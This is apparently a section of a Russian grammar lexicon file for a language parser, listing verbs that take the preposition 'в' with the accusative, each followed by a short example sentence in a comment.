// Эта музыка вгоняет меня в депрессию rus_verbs:вгрызаться{}, // Зонд вгрызается в поверхность астероида rus_verbs:вгрызться{}, // Зонд вгрызся в поверхность астероида rus_verbs:вдаваться{}, // Вы не должны вдаваться в юридические детали rus_verbs:вдвигать{}, // Робот вдвигает контейнер в ячейку rus_verbs:вдвигаться{}, // Контейнер вдвигается в ячейку rus_verbs:вдвинуть{}, // манипулятор вдвинул деталь в печь rus_verbs:вдвинуться{}, // деталь вдвинулась в печь rus_verbs:вдевать{}, // портниха быстро вдевает нитку в иголку rus_verbs:вдеваться{}, // нитка быстро вдевается в игольное ушко rus_verbs:вдеть{}, // портниха быстро вдела нитку в игольное ушко rus_verbs:вдеться{}, // нитка быстро вделась в игольное ушко rus_verbs:вделать{}, // мастер вделал розетку в стену rus_verbs:вделывать{}, // мастер вделывает выключатель в стену rus_verbs:вделываться{}, // кронштейн вделывается в стену rus_verbs:вдергиваться{}, // нитка легко вдергивается в игольное ушко rus_verbs:вдернуться{}, // нитка легко вдернулась в игольное ушко rus_verbs:вдолбить{}, // Американцы обещали вдолбить страну в каменный век rus_verbs:вдумываться{}, // Мальчик обычно не вдумывался в сюжет фильмов rus_verbs:вдыхать{}, // мы вдыхаем в себя весь этот смог rus_verbs:вдыхаться{}, // Весь этот смог вдыхается в легкие rus_verbs:вернуть{}, // Книгу надо вернуть в библиотеку rus_verbs:вернуться{}, // Дети вернулись в библиотеку rus_verbs:вжаться{}, // Водитель вжался в кресло rus_verbs:вживаться{}, // Актер вживается в новую роль rus_verbs:вживить{}, // Врачи вживили стимулятор в тело пациента rus_verbs:вживиться{}, // Стимулятор вживился в тело пациента rus_verbs:вживлять{}, // Врачи вживляют стимулятор в тело пациента rus_verbs:вживляться{}, // Стимулятор вживляется в тело rus_verbs:вжиматься{}, // Видитель инстинктивно вжимается в кресло rus_verbs:вжиться{}, // Актер вжился в свою новую роль rus_verbs:взвиваться{}, // Воздушный шарик взвивается в небо rus_verbs:взвинтить{}, // Кризис взвинтил цены в небо rus_verbs:взвинтиться{}, // Цены взвинтились в небо rus_verbs:взвинчивать{}, // Кризис взвинчивает цены в небо rus_verbs:взвинчиваться{}, // Цены взвинчиваются в небо rus_verbs:взвиться{}, // Шарики взвились в небо rus_verbs:взлетать{}, // Экспериментальный аппарат взлетает в воздух rus_verbs:взлететь{}, // Экспериментальный аппарат взлетел в небо rus_verbs:взмывать{}, // шарики взмывают в небо rus_verbs:взмыть{}, // Шарики взмыли в небо rus_verbs:вильнуть{}, // Машина вильнула в левую сторону rus_verbs:вкалывать{}, // Медсестра вкалывает иглу в вену rus_verbs:вкалываться{}, // Игла вкалываться прямо в вену rus_verbs:вкапывать{}, // рабочий вкапывает сваю в землю rus_verbs:вкапываться{}, // Свая вкапывается в землю rus_verbs:вкатить{}, // рабочие вкатили бочку в гараж rus_verbs:вкатиться{}, // машина вкатилась в гараж rus_verbs:вкатывать{}, // рабочик вкатывают бочку в гараж rus_verbs:вкатываться{}, // машина вкатывается в гараж rus_verbs:вкачать{}, // Механики вкачали в бак много топлива rus_verbs:вкачивать{}, // Насос вкачивает топливо в бак rus_verbs:вкачиваться{}, // Топливо вкачивается в бак rus_verbs:вкидать{}, // Манипулятор вкидал груз в контейнер rus_verbs:вкидывать{}, // Манипулятор вкидывает груз в контейнер rus_verbs:вкидываться{}, // Груз вкидывается в контейнер rus_verbs:вкладывать{}, // Инвестор вкладывает деньги в акции rus_verbs:вкладываться{}, // Инвестор вкладывается в акции rus_verbs:вклеивать{}, // Мальчик вклеивает картинку в тетрадь rus_verbs:вклеиваться{}, // Картинка вклеивается в тетрадь rus_verbs:вклеить{}, // Мальчик вклеил картинку в тетрадь rus_verbs:вклеиться{}, // Картинка вклеилась в тетрадь rus_verbs:вклепать{}, // Молоток вклепал заклепку в лист rus_verbs:вклепывать{}, // Молоток вклепывает заклепку в лист rus_verbs:вклиниваться{}, // Машина вклинивается в поток rus_verbs:вклиниться{}, // машина вклинилась в поток rus_verbs:включать{}, // Команда включает компьютер в сеть rus_verbs:включаться{}, // Машина включается в глобальную сеть rus_verbs:включить{}, // Команда включила компьютер в сеть rus_verbs:включиться{}, // Компьютер включился в сеть rus_verbs:вколачивать{}, // Столяр вколачивает гвоздь в доску rus_verbs:вколачиваться{}, // Гвоздь вколачивается в доску rus_verbs:вколотить{}, // Столяр вколотил гвоздь в доску rus_verbs:вколоть{}, // Медсестра вколола в мышцу лекарство rus_verbs:вкопать{}, // Рабочие вкопали сваю в землю rus_verbs:вкрадываться{}, // Ошибка вкрадывается в расчеты rus_verbs:вкраивать{}, // Портниха вкраивает вставку в юбку rus_verbs:вкраиваться{}, // Вставка вкраивается в юбку rus_verbs:вкрасться{}, // Ошибка вкралась в расчеты rus_verbs:вкрутить{}, // Электрик вкрутил лампочку в патрон rus_verbs:вкрутиться{}, // лампочка легко вкрутилась в патрон rus_verbs:вкручивать{}, // Электрик вкручивает лампочку в патрон rus_verbs:вкручиваться{}, // Лампочка легко вкручивается в патрон rus_verbs:влазить{}, // Разъем влазит в отверствие rus_verbs:вламывать{}, // Полиция вламывается в квартиру rus_verbs:влетать{}, // Самолет влетает в грозовой фронт rus_verbs:влететь{}, // Самолет влетел в грозовой фронт rus_verbs:вливать{}, // Механик вливает масло в картер rus_verbs:вливаться{}, // Масло вливается в картер rus_verbs:влипать{}, // Эти неудачники постоянно влипают в разные происшествия rus_verbs:влипнуть{}, // Эти неудачники опять влипли в неприятности rus_verbs:влить{}, // Механик влил свежее масло в картер rus_verbs:влиться{}, // Свежее масло влилось в бак rus_verbs:вложить{}, // Инвесторы вложили в эти акции большие средства rus_verbs:вложиться{}, // Инвесторы вложились в эти акции rus_verbs:влюбиться{}, // Коля влюбился в Олю rus_verbs:влюблять{}, // Оля постоянно влюбляла в себя мальчиков rus_verbs:влюбляться{}, // Оля влюбляется в спортсменов rus_verbs:вляпаться{}, // Коля вляпался в неприятность rus_verbs:вляпываться{}, // Коля постоянно вляпывается в неприятности rus_verbs:вменить{}, // вменить в вину rus_verbs:вменять{}, // вменять в обязанность rus_verbs:вмерзать{}, // Колеса вмерзают в лед rus_verbs:вмерзнуть{}, // Колеса вмерзли в лед rus_verbs:вмести{}, // вмести в дом rus_verbs:вместить{}, // вместить в ёмкость rus_verbs:вместиться{}, // Прибор не вместился в зонд rus_verbs:вмешаться{}, // Начальник вмешался в конфликт rus_verbs:вмешивать{}, // Не вмешивай меня в это дело rus_verbs:вмешиваться{}, // Начальник вмешивается в переговоры rus_verbs:вмещаться{}, // Приборы не вмещаются в корпус rus_verbs:вминать{}, // вминать в корпус rus_verbs:вминаться{}, // кронштейн вминается в корпус rus_verbs:вмонтировать{}, // Конструкторы вмонтировали в корпус зонда новые приборы rus_verbs:вмонтироваться{}, // Новые приборы легко вмонтировались в корпус зонда rus_verbs:вмораживать{}, // Установка вмораживает сваи в грунт rus_verbs:вмораживаться{}, // Сваи вмораживаются в грунт rus_verbs:вморозить{}, // Установка вморозила сваи в грунт rus_verbs:вмуровать{}, // Сейф был вмурован в стену rus_verbs:вмуровывать{}, // вмуровывать сейф в стену rus_verbs:вмуровываться{}, // сейф вмуровывается в бетонную стену rus_verbs:внедрить{}, // внедрить инновацию в производство rus_verbs:внедриться{}, // Шпион внедрился в руководство rus_verbs:внедрять{}, // внедрять инновации в производство rus_verbs:внедряться{}, // Шпионы внедряются в руководство rus_verbs:внести{}, // внести коробку в дом rus_verbs:внестись{}, // внестись в список приглашенных гостей rus_verbs:вникать{}, // Разработчик вникает в детали задачи rus_verbs:вникнуть{}, // Дизайнер вник в детали задачи rus_verbs:вносить{}, // вносить новое действующее лицо в список главных героев rus_verbs:вноситься{}, // вноситься в список главных персонажей rus_verbs:внюхаться{}, // Пёс внюхался в ароматы леса rus_verbs:внюхиваться{}, // Пёс внюхивается в ароматы леса rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:вовлекать{}, // вовлекать трудных подростков в занятие спортом rus_verbs:вогнать{}, // вогнал человека в тоску rus_verbs:водворить{}, // водворить преступника в тюрьму rus_verbs:возвернуть{}, // возвернуть в родную стихию rus_verbs:возвернуться{}, // возвернуться в родную стихию rus_verbs:возвести{}, // возвести число в четную степень rus_verbs:возводить{}, // возводить число в четную степень rus_verbs:возводиться{}, // число возводится в четную степень rus_verbs:возвратить{}, // возвратить коров в стойло rus_verbs:возвратиться{}, // возвратиться в родной дом rus_verbs:возвращать{}, // возвращать коров в стойло rus_verbs:возвращаться{}, // возвращаться в родной дом rus_verbs:войти{}, // войти в галерею славы rus_verbs:вонзать{}, // Коля вонзает вилку в котлету rus_verbs:вонзаться{}, // Вилка вонзается в котлету rus_verbs:вонзить{}, // Коля вонзил вилку в котлету rus_verbs:вонзиться{}, // Вилка вонзилась в сочную котлету rus_verbs:воплотить{}, // Коля воплотил свои мечты в реальность rus_verbs:воплотиться{}, // Мечты воплотились в реальность rus_verbs:воплощать{}, // Коля воплощает мечты в реальность rus_verbs:воплощаться{}, // Мечты иногда воплощаются в реальность rus_verbs:ворваться{}, // Перемены неожиданно ворвались в размеренную жизнь rus_verbs:воспарить{}, // Душа воспарила в небо rus_verbs:воспарять{}, // Душа воспаряет в небо rus_verbs:врыть{}, // врыть опору в землю rus_verbs:врыться{}, // врыться в землю rus_verbs:всадить{}, // всадить пулю в сердце rus_verbs:всаживать{}, // всаживать нож в бок rus_verbs:всасывать{}, // всасывать воду в себя rus_verbs:всасываться{}, // всасываться в ёмкость rus_verbs:вселить{}, // вселить надежду в кого-либо rus_verbs:вселиться{}, // вселиться в пустующее здание rus_verbs:вселять{}, // вселять надежду в кого-то rus_verbs:вселяться{}, // вселяться в пустующее здание rus_verbs:вскидывать{}, // вскидывать руку в небо rus_verbs:вскинуть{}, // вскинуть руку в небо rus_verbs:вслушаться{}, // вслушаться в звуки rus_verbs:вслушиваться{}, // вслушиваться в шорох rus_verbs:всматриваться{}, // всматриваться в темноту rus_verbs:всмотреться{}, // всмотреться в темень rus_verbs:всовывать{}, // всовывать палец в отверстие rus_verbs:всовываться{}, // всовываться в форточку rus_verbs:всосать{}, // всосать жидкость в себя rus_verbs:всосаться{}, // всосаться в кожу rus_verbs:вставить{}, // вставить ключ в замок rus_verbs:вставлять{}, // вставлять ключ в замок rus_verbs:встраивать{}, // встраивать черный ход в систему защиты rus_verbs:встраиваться{}, // встраиваться в систему безопасности rus_verbs:встревать{}, // встревать в разговор rus_verbs:встроить{}, // встроить секретный модуль в систему безопасности rus_verbs:встроиться{}, // встроиться в систему безопасности rus_verbs:встрять{}, // встрять в разговор rus_verbs:вступать{}, // вступать в действующую армию rus_verbs:вступить{}, // вступить в действующую армию rus_verbs:всунуть{}, // всунуть палец в отверстие rus_verbs:всунуться{}, // всунуться в форточку инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер инфинитив:всыпать{вид:несоверш}, глагол:всыпать{вид:соверш}, глагол:всыпать{вид:несоверш}, деепричастие:всыпав{}, деепричастие:всыпая{}, прилагательное:всыпавший{ вид:соверш }, // прилагательное:всыпавший{ вид:несоверш }, прилагательное:всыпанный{}, // прилагательное:всыпающий{}, инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер // инфинитив:всыпаться{ вид:соверш}, // глагол:всыпаться{ вид:соверш}, глагол:всыпаться{ вид:несоверш}, // деепричастие:всыпавшись{}, деепричастие:всыпаясь{}, // прилагательное:всыпавшийся{ вид:соверш }, // прилагательное:всыпавшийся{ вид:несоверш }, // прилагательное:всыпающийся{}, rus_verbs:вталкивать{}, // вталкивать деталь в ячейку rus_verbs:вталкиваться{}, // вталкиваться в ячейку rus_verbs:втаптывать{}, // втаптывать в грязь rus_verbs:втаптываться{}, // втаптываться в грязь rus_verbs:втаскивать{}, // втаскивать мешок в комнату rus_verbs:втаскиваться{}, // втаскиваться в комнату rus_verbs:втащить{}, // втащить мешок в комнату rus_verbs:втащиться{}, // втащиться в комнату rus_verbs:втекать{}, // втекать в бутылку rus_verbs:втемяшивать{}, // втемяшивать в голову rus_verbs:втемяшиваться{}, // втемяшиваться в голову rus_verbs:втемяшить{}, // втемяшить в голову rus_verbs:втемяшиться{}, // втемяшиться в голову rus_verbs:втереть{}, // втереть крем в кожу rus_verbs:втереться{}, // втереться в кожу rus_verbs:втесаться{}, // втесаться в группу rus_verbs:втесывать{}, // втесывать в группу rus_verbs:втесываться{}, // втесываться в группу rus_verbs:втечь{}, // втечь в бак rus_verbs:втирать{}, // втирать крем в кожу rus_verbs:втираться{}, // втираться в кожу rus_verbs:втискивать{}, // втискивать сумку в вагон rus_verbs:втискиваться{}, // втискиваться в переполненный вагон rus_verbs:втиснуть{}, // втиснуть сумку в вагон rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро rus_verbs:втолкать{}, // втолкать коляску в лифт rus_verbs:втолкаться{}, // втолкаться в вагон метро rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт rus_verbs:втолкнуться{}, // втолкнуться в вагон метро rus_verbs:втолочь{}, // втолочь в смесь rus_verbs:втоптать{}, // втоптать цветы в землю rus_verbs:вторгаться{}, // вторгаться в чужую зону rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь rus_verbs:втравить{}, // втравить кого-то в неприятности rus_verbs:втравливать{}, // втравливать кого-то в неприятности rus_verbs:втрамбовать{}, // втрамбовать камни в землю rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю rus_verbs:втрамбовываться{}, // втрамбовываться в землю rus_verbs:втрескаться{}, // втрескаться в кого-то rus_verbs:втрескиваться{}, // втрескиваться в кого-либо rus_verbs:втыкать{}, // втыкать вилку в котлетку rus_verbs:втыкаться{}, // втыкаться в розетку rus_verbs:втюриваться{}, // втюриваться в кого-либо rus_verbs:втюриться{}, // втюриться в кого-либо rus_verbs:втягивать{}, // втягивать что-то в себя rus_verbs:втягиваться{}, // втягиваться в себя rus_verbs:втянуться{}, // втянуться в себя rus_verbs:вцементировать{}, // вцементировать сваю в фундамент rus_verbs:вчеканить{}, // вчеканить надпись в лист rus_verbs:вчитаться{}, // вчитаться внимательнее в текст rus_verbs:вчитываться{}, // вчитываться внимательнее в текст rus_verbs:вчувствоваться{}, // вчувствоваться в роль rus_verbs:вшагивать{}, // вшагивать в новую жизнь rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь rus_verbs:вшивать{}, // вшивать заплату в рубашку rus_verbs:вшиваться{}, // вшиваться в ткань rus_verbs:вшить{}, // вшить заплату в ткань rus_verbs:въедаться{}, // въедаться в мякоть rus_verbs:въезжать{}, // въезжать в гараж rus_verbs:въехать{}, // въехать в гараж rus_verbs:выиграть{}, // Коля выиграл в шахматы rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы rus_verbs:выкладывать{}, // выкладывать в общий доступ rus_verbs:выкладываться{}, // выкладываться в общий доступ rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет rus_verbs:вылезать{}, // вылезать в открытое пространство rus_verbs:вылезти{}, // вылезти в открытое пространство rus_verbs:выливать{}, // выливать в бутылку rus_verbs:выливаться{}, // выливаться в ёмкость rus_verbs:вылить{}, // вылить отходы в канализацию rus_verbs:вылиться{}, // Топливо вылилось в воду rus_verbs:выложить{}, // выложить в общий доступ rus_verbs:выпадать{}, // выпадать в осадок rus_verbs:выпрыгивать{}, // выпрыгивать в окно rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно rus_verbs:выродиться{}, // выродиться в жалкое подобие rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков rus_verbs:высеваться{}, // высеваться в землю rus_verbs:высеять{}, // высеять в землю rus_verbs:выслать{}, // выслать в страну постоянного пребывания rus_verbs:высморкаться{}, // высморкаться в платок rus_verbs:высморкнуться{}, // высморкнуться в платок rus_verbs:выстреливать{}, // выстреливать в цель rus_verbs:выстреливаться{}, // выстреливаться в цель rus_verbs:выстрелить{}, // выстрелить в цель rus_verbs:вытекать{}, // вытекать в озеро rus_verbs:вытечь{}, // вытечь в воду rus_verbs:смотреть{}, // смотреть в будущее rus_verbs:подняться{}, // подняться в лабораторию rus_verbs:послать{}, // послать в магазин rus_verbs:слать{}, // слать в неизвестность rus_verbs:добавить{}, // добавить в суп rus_verbs:пройти{}, // пройти в лабораторию rus_verbs:положить{}, // положить в ящик rus_verbs:прислать{}, // прислать в полицию rus_verbs:упасть{}, // упасть в пропасть инфинитив:писать{ aux stress="пис^ать" }, // писать в газету инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки глагол:писать{ aux stress="п^исать" }, глагол:писать{ aux stress="пис^ать" }, деепричастие:писая{}, прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету rus_verbs:собираться{}, // собираться в поход rus_verbs:звать{}, // звать в ресторан rus_verbs:направиться{}, // направиться в ресторан rus_verbs:отправиться{}, // отправиться в ресторан rus_verbs:поставить{}, // поставить в угол rus_verbs:целить{}, // целить в мишень rus_verbs:попасть{}, // попасть в переплет rus_verbs:ударить{}, // ударить в больное место rus_verbs:закричать{}, // закричать в микрофон rus_verbs:опустить{}, // опустить в воду rus_verbs:принести{}, // принести в дом бездомного щенка rus_verbs:отдать{}, // отдать в хорошие руки rus_verbs:ходить{}, // ходить в школу rus_verbs:уставиться{}, // уставиться в экран rus_verbs:приходить{}, // приходить в бешенство rus_verbs:махнуть{}, // махнуть в Италию rus_verbs:сунуть{}, // сунуть в замочную скважину rus_verbs:явиться{}, // явиться в расположение части rus_verbs:уехать{}, // уехать в город rus_verbs:целовать{}, // целовать в лобик rus_verbs:повести{}, // повести в бой rus_verbs:опуститься{}, // опуститься в кресло rus_verbs:передать{}, // передать в архив rus_verbs:побежать{}, // побежать в школу rus_verbs:стечь{}, // стечь в воду rus_verbs:уходить{}, // уходить добровольцем в армию rus_verbs:привести{}, // привести в дом rus_verbs:шагнуть{}, // шагнуть в неизвестность rus_verbs:собраться{}, // собраться в поход rus_verbs:заглянуть{}, // заглянуть в основу rus_verbs:поспешить{}, // поспешить в церковь rus_verbs:поцеловать{}, // поцеловать в лоб rus_verbs:перейти{}, // перейти в высшую лигу rus_verbs:поверить{}, // поверить в искренность rus_verbs:глянуть{}, // глянуть в оглавление rus_verbs:зайти{}, // зайти в кафетерий rus_verbs:подобрать{}, // подобрать в лесу rus_verbs:проходить{}, // проходить в помещение rus_verbs:глядеть{}, // глядеть в глаза rus_verbs:пригласить{}, // пригласить в театр rus_verbs:позвать{}, // позвать в класс rus_verbs:усесться{}, // усесться в кресло rus_verbs:поступить{}, // поступить в институт rus_verbs:лечь{}, // лечь в постель rus_verbs:поклониться{}, // поклониться в пояс rus_verbs:потянуться{}, // потянуться в лес rus_verbs:колоть{}, // колоть в ягодицу rus_verbs:присесть{}, // присесть в кресло rus_verbs:оглядеться{}, // оглядеться в зеркало rus_verbs:поглядеть{}, // поглядеть в зеркало rus_verbs:превратиться{}, // превратиться в лягушку rus_verbs:принимать{}, // принимать во внимание rus_verbs:звонить{}, // звонить в колокола rus_verbs:привезти{}, // привезти в гостиницу rus_verbs:рухнуть{}, // рухнуть в пропасть rus_verbs:пускать{}, // пускать в дело rus_verbs:отвести{}, // отвести в больницу rus_verbs:сойти{}, // сойти в ад rus_verbs:набрать{}, // набрать в команду rus_verbs:собрать{}, // собрать в кулак rus_verbs:двигаться{}, // двигаться в каюту rus_verbs:падать{}, // падать в область нуля rus_verbs:полезть{}, // полезть в драку rus_verbs:направить{}, // направить в стационар rus_verbs:приводить{}, // приводить в чувство rus_verbs:толкнуть{}, // толкнуть в бок rus_verbs:кинуться{}, // кинуться в драку rus_verbs:ткнуть{}, // ткнуть в глаз rus_verbs:заключить{}, // заключить в объятия rus_verbs:подниматься{}, // подниматься в небо rus_verbs:расти{}, // расти в глубину rus_verbs:налить{}, // налить в кружку rus_verbs:швырнуть{}, // швырнуть в бездну rus_verbs:прыгнуть{}, // прыгнуть в дверь rus_verbs:промолчать{}, // промолчать в тряпочку rus_verbs:садиться{}, // садиться в кресло rus_verbs:лить{}, // лить в кувшин rus_verbs:дослать{}, // дослать деталь в держатель rus_verbs:переслать{}, // переслать в обработчик rus_verbs:удалиться{}, // удалиться в совещательную комнату rus_verbs:разглядывать{}, // разглядывать в бинокль rus_verbs:повесить{}, // повесить в шкаф инфинитив:походить{ вид:соверш }, // походить в институт глагол:походить{ вид:соверш }, деепричастие:походив{}, // прилагательное:походивший{вид:соверш}, rus_verbs:помчаться{}, // помчаться в класс rus_verbs:свалиться{}, // свалиться в яму rus_verbs:сбежать{}, // сбежать в Англию rus_verbs:стрелять{}, // стрелять в цель rus_verbs:обращать{}, // обращать в свою веру rus_verbs:завести{}, // завести в дом rus_verbs:приобрести{}, // приобрести в рассрочку rus_verbs:сбросить{}, // сбросить в яму rus_verbs:устроиться{}, // устроиться в крупную корпорацию rus_verbs:погрузиться{}, // погрузиться в пучину rus_verbs:течь{}, // течь в канаву rus_verbs:произвести{}, // произвести в звание майора rus_verbs:метать{}, // метать в цель rus_verbs:пустить{}, // пустить в дело rus_verbs:полететь{}, // полететь в Европу rus_verbs:пропустить{}, // пропустить в здание rus_verbs:рвануть{}, // рвануть в отпуск rus_verbs:заходить{}, // заходить в каморку rus_verbs:нырнуть{}, // нырнуть в прорубь rus_verbs:рвануться{}, // рвануться в атаку rus_verbs:приподняться{}, // приподняться в воздух rus_verbs:превращаться{}, // превращаться в крупную величину rus_verbs:прокричать{}, // прокричать в ухо rus_verbs:записать{}, // записать в блокнот rus_verbs:забраться{}, // забраться в шкаф rus_verbs:приезжать{}, // приезжать в деревню rus_verbs:продать{}, // продать в рабство rus_verbs:проникнуть{}, // проникнуть в центр rus_verbs:устремиться{}, // устремиться в открытое море rus_verbs:посадить{}, // посадить в кресло rus_verbs:упереться{}, // упереться в пол rus_verbs:ринуться{}, // ринуться в буфет rus_verbs:отдавать{}, // отдавать в кадетское училище rus_verbs:отложить{}, // отложить в долгий ящик rus_verbs:убежать{}, // убежать в приют rus_verbs:оценить{}, // оценить в миллион долларов rus_verbs:поднимать{}, // поднимать в стратосферу rus_verbs:отослать{}, // отослать в квалификационную комиссию rus_verbs:отодвинуть{}, // отодвинуть в дальний угол rus_verbs:торопиться{}, // торопиться в школу rus_verbs:попадаться{}, // попадаться в руки rus_verbs:поразить{}, // поразить в самое сердце rus_verbs:доставить{}, // доставить в квартиру rus_verbs:заслать{}, // заслать в тыл rus_verbs:сослать{}, // сослать в изгнание rus_verbs:запустить{}, // запустить в космос rus_verbs:удариться{}, // удариться в запой rus_verbs:ударяться{}, // ударяться в крайность rus_verbs:шептать{}, // шептать в лицо rus_verbs:уронить{}, // уронить в унитаз rus_verbs:прорычать{}, // прорычать в микрофон rus_verbs:засунуть{}, // засунуть в глотку rus_verbs:плыть{}, // плыть в открытое море rus_verbs:перенести{}, // перенести в духовку rus_verbs:светить{}, // светить в лицо rus_verbs:мчаться{}, // мчаться в ремонт rus_verbs:стукнуть{}, // стукнуть в лоб rus_verbs:обрушиться{}, // обрушиться в котлован rus_verbs:поглядывать{}, // поглядывать в экран rus_verbs:уложить{}, // уложить в кроватку инфинитив:попадать{ вид:несоверш }, // попадать в черный список глагол:попадать{ вид:несоверш }, прилагательное:попадающий{ вид:несоверш }, прилагательное:попадавший{ вид:несоверш }, деепричастие:попадая{}, rus_verbs:провалиться{}, // провалиться в яму rus_verbs:жаловаться{}, // жаловаться в комиссию rus_verbs:опоздать{}, // опоздать в школу rus_verbs:посылать{}, // посылать в парикмахерскую rus_verbs:погнать{}, // погнать в хлев rus_verbs:поступать{}, // поступать в институт rus_verbs:усадить{}, // усадить в кресло rus_verbs:проиграть{}, // проиграть в рулетку rus_verbs:прилететь{}, // прилететь в страну rus_verbs:повалиться{}, // повалиться в траву rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ rus_verbs:лезть{}, // лезть в чужие дела rus_verbs:потащить{}, // потащить в суд rus_verbs:направляться{}, // направляться в порт rus_verbs:поползти{}, // поползти в другую сторону rus_verbs:пуститься{}, // пуститься в пляс rus_verbs:забиться{}, // забиться в нору rus_verbs:залезть{}, // залезть в конуру rus_verbs:сдать{}, // сдать в утиль rus_verbs:тронуться{}, // тронуться в путь rus_verbs:сыграть{}, // сыграть в шахматы rus_verbs:перевернуть{}, // перевернуть в более удобную позу rus_verbs:сжимать{}, // сжимать пальцы в кулак rus_verbs:подтолкнуть{}, // подтолкнуть в бок rus_verbs:отнести{}, // отнести животное в лечебницу rus_verbs:одеться{}, // одеться в зимнюю одежду rus_verbs:плюнуть{}, // плюнуть в колодец rus_verbs:передавать{}, // передавать в прокуратуру rus_verbs:отскочить{}, // отскочить в лоб rus_verbs:призвать{}, // призвать в армию rus_verbs:увезти{}, // увезти в деревню rus_verbs:улечься{}, // улечься в кроватку rus_verbs:отшатнуться{}, // отшатнуться в сторону rus_verbs:ложиться{}, // ложиться в постель rus_verbs:пролететь{}, // пролететь в конец rus_verbs:класть{}, // класть в сейф rus_verbs:доставлять{}, // доставлять в кабинет rus_verbs:приобретать{}, // приобретать в кредит rus_verbs:сводить{}, // сводить в театр rus_verbs:унести{}, // унести в могилу rus_verbs:покатиться{}, // покатиться в яму rus_verbs:сходить{}, // сходить в магазинчик rus_verbs:спустить{}, // спустить в канализацию rus_verbs:проникать{}, // проникать в сердцевину rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд rus_verbs:пожаловаться{}, // пожаловаться в администрацию rus_verbs:стучать{}, // стучать в металлическую дверь rus_verbs:тащить{}, // тащить в ремонт rus_verbs:заглядывать{}, // заглядывать в ответы rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена rus_verbs:увести{}, // увести в следующий кабинет rus_verbs:успевать{}, // успевать в школу rus_verbs:пробраться{}, // пробраться в собачью конуру rus_verbs:подавать{}, // подавать в суд rus_verbs:прибежать{}, // прибежать в конюшню rus_verbs:рассмотреть{}, // рассмотреть в микроскоп rus_verbs:пнуть{}, // пнуть в живот rus_verbs:завернуть{}, // завернуть в декоративную пленку rus_verbs:уезжать{}, // уезжать в деревню rus_verbs:привлекать{}, // привлекать в свои ряды rus_verbs:перебраться{}, // перебраться в прибрежный город rus_verbs:долить{}, // долить в коктейль rus_verbs:палить{}, // палить в нападающих rus_verbs:отобрать{}, // отобрать в коллекцию rus_verbs:улететь{}, // улететь в неизвестность rus_verbs:выглянуть{}, // выглянуть в окно rus_verbs:выглядывать{}, // выглядывать в окно rus_verbs:пробираться{}, // грабитель, пробирающийся в дом инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог глагол:написать{ aux stress="напис^ать"}, прилагательное:написавший{ aux stress="напис^авший"}, rus_verbs:свернуть{}, // свернуть в колечко инфинитив:сползать{ вид:несоверш }, // сползать в овраг глагол:сползать{ вид:несоверш }, прилагательное:сползающий{ вид:несоверш }, прилагательное:сползавший{ вид:несоверш }, rus_verbs:барабанить{}, // барабанить в дверь rus_verbs:дописывать{}, // дописывать в конец rus_verbs:меняться{}, // меняться в лучшую сторону rus_verbs:измениться{}, // измениться в лучшую сторону rus_verbs:изменяться{}, // изменяться в лучшую сторону rus_verbs:вписаться{}, // вписаться в поворот rus_verbs:вписываться{}, // вписываться в повороты rus_verbs:переработать{}, // переработать в удобрение rus_verbs:перерабатывать{}, // перерабатывать в удобрение rus_verbs:уползать{}, // уползать в тень rus_verbs:заползать{}, // заползать в нору rus_verbs:перепрятать{}, // перепрятать в укромное место rus_verbs:заталкивать{}, // заталкивать в вагон rus_verbs:преобразовывать{}, // преобразовывать в список инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список глагол:конвертировать{ вид:несоверш }, инфинитив:конвертировать{ вид:соверш }, глагол:конвертировать{ вид:соверш }, деепричастие:конвертировав{}, деепричастие:конвертируя{}, rus_verbs:изорвать{}, // Он изорвал газету в клочки. rus_verbs:выходить{}, // Окна выходят в сад. rus_verbs:говорить{}, // Он говорил в защиту своего отца. rus_verbs:вырастать{}, // Он вырастает в большого художника. rus_verbs:вывести{}, // Он вывел детей в сад. // инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш }, // глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли. // прилагательное:раненый{}, // Он был ранен в левую руку. // прилагательное:одетый{}, // Он был одет в толстое осеннее пальто. rus_verbs:бухнуться{}, // Он бухнулся в воду. rus_verbs:склонять{}, // склонять защиту в свою пользу rus_verbs:впиться{}, // Пиявка впилась в тело. rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы rus_verbs:сохранять{}, // сохранить данные в файл rus_verbs:собирать{}, // собирать игрушки в ящик rus_verbs:упаковывать{}, // упаковывать вещи в чемодан rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:стрельнуть{}, // стрельни в толпу! rus_verbs:пулять{}, // пуляй в толпу rus_verbs:пульнуть{}, // пульни в толпу rus_verbs:становиться{}, // Становитесь в очередь. rus_verbs:вписать{}, // Юля вписала свое имя в список. rus_verbs:вписывать{}, // Мы вписывали свои имена в список прилагательное:видный{}, // Планета Марс видна в обычный бинокль rus_verbs:пойти{}, // Девочка рано пошла в школу rus_verbs:отойти{}, // Эти обычаи отошли в историю. rus_verbs:бить{}, // Холодный ветер бил ему в лицо. rus_verbs:входить{}, // Это входит в его обязанности. rus_verbs:принять{}, // меня приняли в пионеры rus_verbs:уйти{}, // Правительство РФ ушло в отставку rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году. 